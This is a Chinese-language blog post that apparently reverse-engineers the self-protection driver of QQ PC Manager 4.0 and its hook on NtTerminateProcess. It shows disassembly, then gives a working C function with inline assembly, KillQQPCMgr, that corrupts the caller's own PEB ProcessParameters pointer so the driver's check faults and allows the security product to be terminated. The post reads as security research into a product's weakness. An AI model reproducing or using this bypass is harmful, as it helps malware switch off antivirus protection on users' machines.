今天装了个QQ电脑管家4.0,看了看它的自我保护。用XueTr查看发现它的驱动TSKSP.sys对NtTerminateProcess进行了SSDT Hook。
于是逆向TSKSP.sys,把里面的FakeNtTerminateProcess抓出来看了看,发现TX做事情相当的纠结啊!
FakeNtTerminateProcess一开始先调用IoGetCurrentProcess()和PsGetCurrentProcessId()获得当前进程(即调用NtTerminateProcess的进程)的eproc和pid。
由于FakeNtTerminateProcess的参数中有目标进程的handle,于是它接下来通过ObReferenceObjectByHandle()由handle获得了目标进程的eproc。
接着通过对比当前进程的eproc和目标进程(即被terminate的进程)的eproc是否相等,来确定是不是自己结束自己,如果是就放行了。
如果不是自己结束自己,它又通过ObOpenObjectByPointer()将目标进程的eproc转换回参数里本来就有的handle(开始纠结了),然后通过ZwQueryInformationProcess()函数由handle获取目标进程的pid。这下他就有了当前进程和目标进程的pid,接下来他用当前进程和目标进程的pid分别取出这两个进程的名字。取法相当不给力:
先通过PsLookupProcessByProcessId()由pid取得很早以前就已经取得了的eproc(纠结……),然后通过ObOpenObjectByPointer()由eproc再一次取得handle(继续纠结……),接下来通过ZwQueryInformationProcess()由handle取得PEB,然后在PEB里找进程名:peb-->ProcessParameters-->ImagePathName。
最后最纠结的地方是,如果发生了异常,就直接放行……要知道PEB是在用户空间里的呀,要让它异常太容易了……
先看看它是怎么取peb-->ProcessParameters-->ImagePathName的:
push [ebp+proc] call ds:KeAttachProcess ; attach上去,为了读peb mov [ebp+bIsAttached], 1 push 1 ; Alignment push 1D8h ; Length mov esi, [ebp+dwPeb] push esi ; Address mov edi, ds:ProbeForRead call edi ; ProbeForRead ; probe 一下 peb mov esi, [esi+10h] mov [ebp+var_3C], esi push 1 ; Alignment push 90h ; Length push esi ; Address call edi ; ProbeForRead, probe 一下 peb-->ProcessParameters,这里我们就可以xx…… …… ; 略
int KillQQPCMgr(int pid) {
// by Fypher
HANDLE hProc;
DWORD dwProcParam;
int ret = 0;
// xxx peb->ProcessParameters
__asm {
pushad
mov eax, fs:[0x30]
add eax, 0x10
mov ecx, [eax]
mov dwProcParam, ecx
mov dword ptr [eax], 0xFFFFFFFF
popad
}
hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (hProc == NULL) {
ret = -1;
}
else if (!TerminateProcess(hProc, 0)) {
ret = -2;
}
// restore peb->ProcessParameters
__asm {
pushad
mov eax, fs:[0x30]
add eax, 0x10;
mov ecx, dwProcParam
mov dword ptr [eax], ecx
popad
}
return ret;
}